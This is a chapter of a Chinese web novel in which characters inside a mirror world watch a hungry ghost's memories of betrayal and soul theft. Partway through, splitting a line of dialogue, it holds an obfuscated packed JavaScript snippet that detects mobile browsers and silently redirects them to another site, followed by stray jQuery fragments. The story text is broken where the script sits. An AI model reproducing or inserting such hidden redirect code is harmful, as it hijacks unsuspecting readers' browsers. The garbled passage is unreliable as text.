20. 镜中世界要坍塌了

作品:《队友除了帅和馋以外毫无用处

    没有预想中的天旋地转,只有无数破碎的景象一起涌来,又迅速退去。


    震耳欲聋的喊杀声已扑面而来。


    夏霖落地后,惊恐地发现自己正站在古战场上。


    王弼也在身旁,目瞪口呆地看着周围的场景,“我操,老子不会又回三国了吧?千万别,老子不想再死一次啊。”


    夏霖不想听他在抱怨,捂着耳朵往深处走去,忽然有一个人吸引了他的注意力。


    那是一个瘦骨嶙峋的年轻人,他躺在尸堆旁,捂着空空如也的腹部,身边躺了不少老百姓,他们的双手有的撕扯他的肚皮,有的堵住了他的五孔,有的趴在他的腿上撕咬他的□□。


    夏霖仔细一看,这年轻人不正是那饿鬼吗?难道他们穿越到饿鬼死之前的时空了……


    “王弼,你快过来看一下。”


    王弼闻声而来,他伸手穿透了那具年轻的身体,无法触碰,无法干预,只能眼睁睁看着。


    “好像是记忆回放唉。”


    那问题来了,这是谁的记忆?


    战场景象逐渐消散。


    等他们再次站稳时,眼前出现的是一座气派的唐代府邸,朱红大门敞开,笙歌笑语夹杂着酒肉香气飘出。


    而在门外的积雪中,跪着一个衣衫单薄的少年,冻得嘴唇发紫,吃吃望着那扇灯火通明的大门。


    不一会儿,身着锦袍的中年男子端着酒杯踱步出来,居高临下地打量着雪地中的少年。


    “高政大人……您在战场上救过我,我是追随您的军队而来的,求您收留我,让我报答您的恩情吧……”


    “你已经跪了一个月了,倒是个有骨气的,从今日起,你就叫金楼,跟着我吧。”


    景象飞速流转,曾经的少年已成为高政麾下的一名粮草主簿。


    城外饥民遍地,城内流言四起,都说主帅高政已叛国投敌。


    官仓大门前,群情激愤的军民手持火把棍棒,将金楼一人围在中间。


    “金楼,高政叛国了,他带着亲信和钱财跑了,快开仓放粮。”


    金楼伤痕累累,眼神却如磐石般坚定:“没有朝廷诏令,没有军报证实,我绝不能开仓。”


    一个老兵站出来痛心劝道:“金主簿,我们都知你是个好人,但高政他……”


    “大人于我恩同再造,他绝不会叛国,此刻开仓,若流言是假,军粮尽失,我等皆是死罪,若流言是真……这些粮食更是满城百姓的活命之本,岂能让人趁乱劫掠。”


    “我已派人快马加急前往帅前求证,在此之间,我会按原有簿册,每日定量发放救济,请大家信我。”


    在流言四起的日子里,金楼将粮食分发给百姓,而他自己私下只啃食草根树皮果腹。


    但是,金楼终究信错了人,高政确实叛了国,混乱之中,他不仅卷走了核心军资,更在谣言鼎沸时,引敌兵杀回。


    火光冲天,喊杀声、哭嚎声震耳欲聋,屠城之举惨绝人寰。


    金楼独自守在已空无一粒米的官邸内,听着外面熟悉的乡音发出临死的惨叫。


    几个士兵冲了进来,他们也是高政留下的弃子。


    “金楼,你看看。”他手指着窗外地狱般的景象,“这就是你誓死效忠的高大人引来的兵,满城的人都因你信他而死了。”


    金楼被拖到窗边,看着外面的炼狱,“不……不可能……”


    “金楼你拼死护下的粮仓,里面最后一批军粮,十天前就被他暗中变卖,钱财都卷走了。”


    金楼如遭雷击,回头看向说话的人:“你……你说什么?”


    “我说,你是个彻头彻尾的傻子,你守着空仓,吃着树皮,替他稳住后方,他却把你最后一点利用价值都榨干了,现在,全城的人都以为是你们合谋,私吞军粮,资敌叛国。”


    金楼只觉得满眼发黑,支撑他的一切信念都崩塌,那痛苦远比腹中无底洞似的的饥饿更甚万倍。


    “为什么……高大人……为什么……”


    再后来就是夏霖刚刚所见的他惨死的一幕。


    她看着金楼的魂魄从尸体上升起,起初还是半透明的魂体,他本能地想靠近那些相继死去的军民魂魄,想解释,想道歉。


    “不是我……不是我背叛了大家……”


    可回应他的,只有魂魄投来的痛苦与怨恨的目光。


    被栽赃后的怨气、饿死前的极致痛苦、被最深信之人背叛的绝望,如同黑色的淤泥,污染了他的魂体,他没有办法投胎,最终化作了饿鬼。


    场景变换,夏霖看到已经沦落饿鬼道很久的金楼,在荒芜的野地,废弃的村落间徘徊。


    千年光阴,对他而言是永不间断的饥饿和折磨。


    他遇到过因战乱、饥荒而死的饿鬼,他们拉帮结派,抢夺残魂,供奉为生。


    “听说他以前还是个官儿呢,结果饿死了,哈哈哈,真是报应。”


    “喂,小子,去那边村子里,看看有没有刚死的人家,弄点供奉来孝敬爷。”


    金楼还是一如既往的坚持不能伤害别人。


    “我不能偷,不能抢,不能作恶,不能纵恶……”


    “呸。”老饿鬼一口饱含秽气的黑雾喷在他脸上,“都成饿鬼了还装什么清高,你不去,我们就拿你打牙祭。”


    几个饿鬼一拥而上,撕扯他本就虚弱的魂体。


    金楼毫无还手之力,任由他们欺凌,他从未害过任何人,靠着无主香火或腐烂的食物残气苟延残喘。


    他一直都很想找到高政……他知道那个男人死后因为罪恶滔天,没有轮回转世,甚至还勾结了邪修,逃离了18层地狱。


    镜面再次波动,夏霖惊讶的发现,他们又来到了民国。


    金楼的黑气比之前凝实了许多,他潜伏在阴影里,死死盯着院中正在月光下吐纳的熟悉身影,高政。


    凝聚利爪直取他的咽喉。


    然而,高政身边冒出两道黑影,气息阴邪污秽,是修习邪术的道上人,很轻易的挡住了金楼的全力一击。


    “你火气还是这么大,他们说你找了我千年,是这样吗。”


    高政居高临下的讥讽,“你以为我会毫无准备地等你来找我?这两位道友,助我炼魂固魄,早已超脱轮回之苦,你想同归于尽,怕是没这本事。”


    金楼被邪术震开,千年年的苦难也教会了他隐忍,那两名邪修对高政并非真心,他们垂涎的是高政通过邪法积聚的特殊气运,而高政则想利用他们作为自己永久的盾牌。


    一次邪修布下阵法,汲取地脉阴气时,高政又动了贪心,两名邪修临死反扑,高政惨遭重创,混乱中,他近半的魂体被那两人硬生生吞噬。


    金楼心中涌起大仇得报的快意,就在他准备上前给予他最后一击时,高政挣扎着爬起,对着他涕泪交加的忏悔:


    “我何尝不是活在悔恨之中,当年我利欲熏心,背叛家国,更辜负了你的一片忠心,看到你化为饿鬼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604456|187231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,我……我心如刀绞啊。”


    “你看我现在……魂体残缺,生不如死……这就是我的报应。”


    高政眼神恳切地望着他,“金楼,我求你,给我一个弥补的机会……我知道一个方法,可以暂时平息你的饥饿,让你好受一些……就当是我临死前唯一能为你做的一点事……求你……”


    金楼看着高政真心忏悔的模样,用恨意筑起的警惕,在漫长痛苦带来的脆弱面前,开始寸寸瓦解。


    “……什么……方法?”


    高政取出了那面古朴的铜镜。


    “以此镜为媒……你与我签一份契约,我将自己的肠胃让给你……通过镜子交换,就能让你获得饱足,签了吧,金楼……让我……赎罪……”


    金楼心神失守下签下了契约,高政脸上哪还有半分悔恨,只剩下计谋得逞的狰狞。


    “蠢货,你的魂,我就笑纳了。”


    契约是假,掠夺是真,金楼的一半魂力,在虚假的饱足感中,被强行吞噬。


    正是因为失去了这一半灵魂,金楼从此变得混沌、迟钝,力量也大打折扣。


    场景再次变换,只剩下半数残魂的高政,其实也不好过,为了逃避来自各方的惩罚,更恐惧金楼不知何时会再次找来,与他不死不休的复仇,他找到了亚斯,很爽快的与他做了交易。


    “只要我能活下去,任何代价。”高政急切地呼喊,“您尽可拿去。”


    亚斯意味深长的说:“分离你剩余的一半灵魂,夺舍新的□□,他可以成为你在现世的锚点,要是你本体陨灭,我还可以通过他将你复活。”


    “那……我需要付出什么?”


    “你将归我奴役,为期二百年。”


    为了活下去,高政脸上闪过挣扎,只是一会儿就心甘情愿的说:“……成交。”


    ……


    很多碎片化的场景如走马灯,最后一睁眼,他们落在一家乡村理发店中。


    而何晏居然也在,他身旁的张楷明抱着头瑟瑟发抖。


    夏霖非常惊喜,“何晏你找到他的生魂了?”


    何晏皱眉说道:“情况有变,我们之前接触的张楷明不是他,他是那个被夺舍的倒霉蛋。”


    王弼挠挠头,“现在剧情好复杂,我想不通,你在说什么呀,到底有几个张楷明。”


    “你们……你们是来救我的吗?”


    张楷明……或者说真正的张楷明,激动的哭了起来,“我什么都不知道,我在村里开理发店开得好好的,虽然不富裕,但也安稳,前几天,来了个漂亮的外国人,他说要理发,我就给他理了。”


    他回忆着,脸上满是恐惧。


    “他就坐在那张椅子上对我说话,说些什么因果、容器、新生,我完全听不懂的怪话。他的绿眼睛好像有种魔力,我看着镜子越来越晕……后来我就什么都不知道了,醒过来就被困在这间屋子里,出不去,也没人看得见我,没人听得见我,这还是第一次见到人,你们能救我出去吗?”


    夏霖眉头紧锁:“他这话是什么意思?”


    何晏快速解释道:“大概就是裁缝在很久以前就找到了他,理发是媒介,镜子是工具,高政的另一半灵魂正是通过这场看似平常的交易,在亚斯的助力下,强行夺舍了他。”


    “不好。”王弼突然喝道,“有人在外面破坏镜子,这里要坍塌了,先出去再说!”


    镜中世界开始碎裂,强烈的排斥感从四面八方涌来……